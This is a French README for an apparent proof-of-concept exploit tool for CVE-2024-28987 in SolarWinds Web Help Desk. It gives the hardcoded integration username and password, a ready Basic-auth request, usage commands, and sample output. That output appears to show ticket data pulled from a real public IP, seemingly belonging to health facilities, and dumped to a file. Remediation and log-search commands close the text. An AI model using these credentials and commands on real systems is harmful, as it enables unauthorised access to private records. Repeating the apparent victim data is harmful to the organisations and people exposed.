
**CVE-2024-28987** est une vulnérabilité critique dans SolarWinds Web Help Desk (WHD) qui permet à des attaquants distants d'accéder à des informations sensibles sur les tickets en utilisant des **identifiants codés en dur**. Cette vulnérabilité a un **score CVSS de 9,1 (Critique)** et est activement exploitée dans la nature.
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins de tests de sécurité éducatifs et autorisés. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
CVE-2024-28987 est une vulnérabilité critique dans SolarWinds Web Help Desk (WHD) qui permet à des attaquants distants d'accéder à des informations sensibles de tickets en utilisant des identifiants codés en dur. Cette vulnérabilité a un score CVSS de 9,1 (Critique) et est activement exploitée dans la nature.
| Attribut | Valeur |
|---|---|
| ID CVE | CVE-2024-28987 |
| Score CVSS | 9,1 (Critique) |
| CWE | CWE-798 (Identifiants codés en dur) |
| Produits concernés | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| Version corrigée | 12.8.3 Hotfix 2 |
| Exploitation | Activement exploitée dans la nature |
| Ajouté au KEV de la CISA | 15 octobre 2024 |
Un attaquant non authentifié peut :
/OrionTickets# Cloner le dépôt
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Rendre le script exécutable
Utilisation
bash
# Avec l'URL cible comme argument
python3 cve-2024-28987.py http://ip-cible:port
# Mode interactif (demandera la cible)
python3 cve-2024-28987.py
# Exemple avec une cible vulnérable
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Exemple de sortie
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Vulnérabilité des identifiants codés en dur ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Vérification de http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] La cible est VULNÉRABLE !
[+] 42 tickets trouvés
======================================================================
[📋] Aperçu des tickets (3 premiers tickets)
======================================================================
Ticket #1
├── ID : 5690
├── Client : UBS Portao Vermelho
├── Statut : Ouvert
├── Détail : BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID : 5691
├── Client : UBS Centro
├── Statut : En cours
├── Détail : ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Analyse des données sensibles
======================================================================
[!] Données de MOT DE PASSE potentielles trouvées dans le ticket #5723
└── détail : Veuillez réinitialiser mon mot de passe pour l'accès au système...
[?] Voulez-vous extraire TOUS les tickets dans un fichier ? [y/N] : y
[*] Enregistrement dans : 138_94_193_65_8098_tickets.json
[✓] 138_94_193_65_8098_tickets.json enregistré avec succès
[*] Taille du fichier : 42 847 octets
[*] Total des tickets : 42
[*] Terminé !
GitHub : https://github.com/Darabium
📁 Structure des fichiers
CVE-2024-28987/
├── cve-2024-28987.py # Script d'exploitation principal
├── README.md # Ce fichier
└── LICENSE # Licence MIT
Fichiers de sortie
Lorsque vous extrayez des tickets, les fichiers suivants sont créés :
138_94_193_65_8098_tickets.json
***_tickets.jsonl 🔍 Détails techniques Identifiants codés en dur python USERNAME = "helpdeskIntegrationUser" PASSWORD = "dev-C4F8025E7" Point de terminaison concerné text /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ Exemple de requête HTTP http GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1 Host: cible-vulnérable:8098 Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw== Content-Type: application/x-www-form-urlencoded 🛡️ Remédiation Actions immédiates Mettre à jour immédiatement vers SolarWinds Web Help Desk version 12.8.3 Hotfix 2 ou ultérieure
Vérifier les journaux pour tout accès suspect au point de terminaison /OrionTickets
Surveiller les accès non autorisés aux données des tickets
Réinitialiser tous les identifiants qui ont pu être exposés dans les tickets
Examiner tous les tickets de support pour détecter d'éventuelles fuites de données
Commandes de détection bash
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
cat /opt/WebHelpDesk/version.txt 🚨 Avis KEV de la CISA Cette vulnérabilité a été ajoutée au catalogue des vulnérabilités connues et exploitées (KEV) de la CISA. Les organisations sont tenues de corriger avant la date limite spécifiée.
Date d'ajout : 15 octobre 2024
Action requise : Appliquer les mises à jour conformément aux instructions du fournisseur
Date limite : 5 novembre 2024 (21 jours)
📚 Références NVD CVE-2024-28987
Catalogue KEV de la CISA
Avis de sécurité SolarWinds
PEP 668 - Gestion de l'environnement externe
🤝 Contribution Les contributions sont les bienvenues ! N'hésitez pas à soumettre des demandes de tirage (pull requests) ou à ouvrir des problèmes (issues).
Directives Forker le dépôt
Créer votre branche de fonctionnalité (git checkout -b feature/AmazingFeature)
Valider vos modifications (git commit -m 'Add some AmazingFeature')
Pousser vers la branche (git push origin feature/AmazingFeature)
Ouvrir une demande de tirage (Pull Request)
📝 Licence Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
⚡ Auteur Darabium - Travail initial - GitHub
⚠️ Notes importantes Cet outil est destiné à la recherche en sécurité et à des fins éducatives
Ne pas utiliser sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test
L'auteur n'est pas responsable de toute utilisation abusive de cet outil
Toujours suivre les pratiques de divulgation responsable
Respecter les lois sur la confidentialité et la protection des données dans votre juridiction
🌟 Historique d'étoiles Si vous trouvez cet outil utile, veuillez lui donner une ⭐ sur GitHub !
📞 Support Ouvrez un problème (issue) sur GitHub pour les rapports de bogues
Pour les préoccupations de sécurité, veuillez contacter directement via GitHub
Fait avec ❤️ pour Darabium